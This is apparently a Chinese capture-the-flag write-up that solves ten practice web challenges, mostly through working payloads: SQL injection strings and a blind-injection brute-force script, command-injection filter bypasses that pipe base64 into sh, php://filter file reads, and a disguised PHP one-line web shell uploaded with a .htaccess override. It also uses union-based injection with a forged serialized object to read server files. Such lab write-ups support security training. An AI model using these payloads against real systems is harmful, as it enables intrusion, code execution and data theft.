一场练习赛
一场练习赛
文章目录
- 一.[极客大挑战 2019]EasySQL-万能密码
- 二.[NCTF2019]SQLi-
-
- 1.访问robots.txt获取提示
- 2.爆破
- 三、[SUCTF 2019]EasySQL-堆叠注入重置操作符
- 四、[GXYCTF2019]Ping Ping Ping-名利执行绕过
- 五、[HCTF 2018]WarmUp-目录穿越
- 六、[HCTF 2018]WarmUp-php伪协议
-
- 七、[HCTF 2018]WarmUp-phtml文件上传
- 八、[BSidesCF 2020]Had a bad day -php伪协议
- 九、[GXYCTF2019]BabyUpload-.htaccess+js解析php木马
- 十、[网鼎杯 2018]Fakebook-sql注入+反序化
一.[极客大挑战 2019]EasySQL-万能密码
# 万能公式
1 and 1=1
1' and '1'='1
1 or 1=1
1' or '1'='1
# payload
1' or '1'='1
二.[NCTF2019]SQLi-
1.访问robots.txt获取提示
User-agent: *
Disallow: /hint.txt
过滤
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";
目标
If $_POST['passwd'] === admin's password
sql语句
select * from users where username='1' and passwd='1'
2.爆破
# 利用\将引号转义，联成一个字符串，%00相当于注释
username=\&passwd=||1;%00
# 可以看到返回welcomte.php
# 通过盲注跑出密码
import requests
from urllib import parse
s = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#%&(),-/:;<=>@[\]_`{|}~'
flag=''
url="""http://882c127f-e2ee-4061-9c34-8393bedcf6c3.node4.buuoj.cn:81/index.php"""
while True:
f=0
for j in s:
data = {"username": "\\",
"passwd":"||passwd/**/regexp/**/\"^{}\";{}".format((flag+j),parse.unquote('%00'))
}
# 注意再写python的时候传入%00不能直接传入,直接传会解码直接为空
res = requests.post(url=url,data=data)
if "welcome.php" in res.text:
flag=flag+j
print(flag)
f=1
break
if f==0:
break
print(flag)
# 任意用户通过密码登录获得flag
三、[SUCTF 2019]EasySQL-堆叠注入重置操作符
set sql_mode=PIPES_AS_CONCAT;
-- 将||视为字符串的连接操作符而非或运算符
payload
1;set sql_mode=PIPES_AS_CONCAT;select 1
四、[GXYCTF2019]Ping Ping Ping-名利执行绕过
过滤内容
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
绕过空格
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat$IFS$1flag.txt
cat<flag.txt
%09替换
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格，这里通过变量的方式巧妙绕过)
base64绕过
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
拼接绕过
?ip=127.0.0.1;a=ag;b=fl;cat$IFS$9$b$a.php
注意查看源码
五、[HCTF 2018]WarmUp-目录穿越
# source.php
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "
![](\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\")
";
}
?>
# hint.php
flag not here, and flag in ffffllllaaaagggg
目录穿越绕过原理
六、[HCTF 2018]WarmUp-php伪协议
通过查看源码和抓包获取到secr3t.php
# secr3t.php
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
# php伪协议读取文件
?file=php://filter/convert.base64-encode/resource=flag.php
七、[HCTF 2018]WarmUp-phtml文件上传
-----------------------------257135797017926925802823295100
Content-Disposition: form-data; name="upload_file"; filename="一句话.phtml"
Content-Type: image/jpeg
八、[BSidesCF 2020]Had a bad day -php伪协议
# 读源码
index.php?category=php://filter/convert.base64-encode/resource=index
# index.php
# 读flag，根据源码所示，必须包含index
index.php?category=php://filter/convert.base64-encode/index/resource=flag
九、[GXYCTF2019]BabyUpload-.htaccess+js解析php木马
上传.htaccess
-----------------------------117276979533699198923753878153
Content-Disposition: form-data; name="uploaded"; filename=".htaccess"
Content-Type: image/jpeg
AddType application/x-httpd-php .jpeg
-----------------------------117276979533699198923753878153
Content-Disposition: form-data; name="submit"
上传
-----------------------------117276979533699198923753878153--
文件利用js解析php语言
-----------------------------117276979533699198923753878153
Content-Disposition: form-data; name="uploaded"; filename="a.jpeg"
Content-Type: image/jpeg
GIF89a
<script language="php">@eval($_POST['zl']);script>
-----------------------------117276979533699198923753878153
Content-Disposition: form-data; name="submit"
上传
-----------------------------117276979533699198923753878153--
十、[网鼎杯 2018]Fakebook-sql注入+反序化
相当详细wp
# 注入过程
# 查库
http://4a2f824b-5517-4f61-8e5c-891290c6d4b3.node4.buuoj.cn:81/view.php?no=-1%20union/**/select%201,(select%20group_concat(schema_name)%20from%20information_schema.schemata),3,4
fakebook,information_schema,mysql,performance_schema,test
# 查表
union/**/select 1,(select group_concat(table_name) from information_schema.tables where table_schema='fakebook'),3,4
users
# 查字段
union/**/select 1,(select group_concat(column_name) from information_schema.columns where table_schema='fakebook'),3,4
no,username,passwd,data
# 查data
union/**/select 1,(select data from fakebook.users),3,4
O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:13:"www.baidu.com";}
# php序列化
<?php
class userinfo{
public $name='adm';
public $age='20';
public $blog='file:///var/www/html/flag.php';
}
$us = new userinfo();
echo serialize($us);
'O:8:"userinfo":3:{s:4:"name";s:3:"adm";s:3:"age";s:2:"20";s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
# 伪造访问
union/**/select 1,2,3,'O:8:"userinfo":3:{s:4:"name";s:3:"adm";s:3:"age";s:2:"20";s:4:"blog";s:29:"file:///var/www/html/flag.php";}'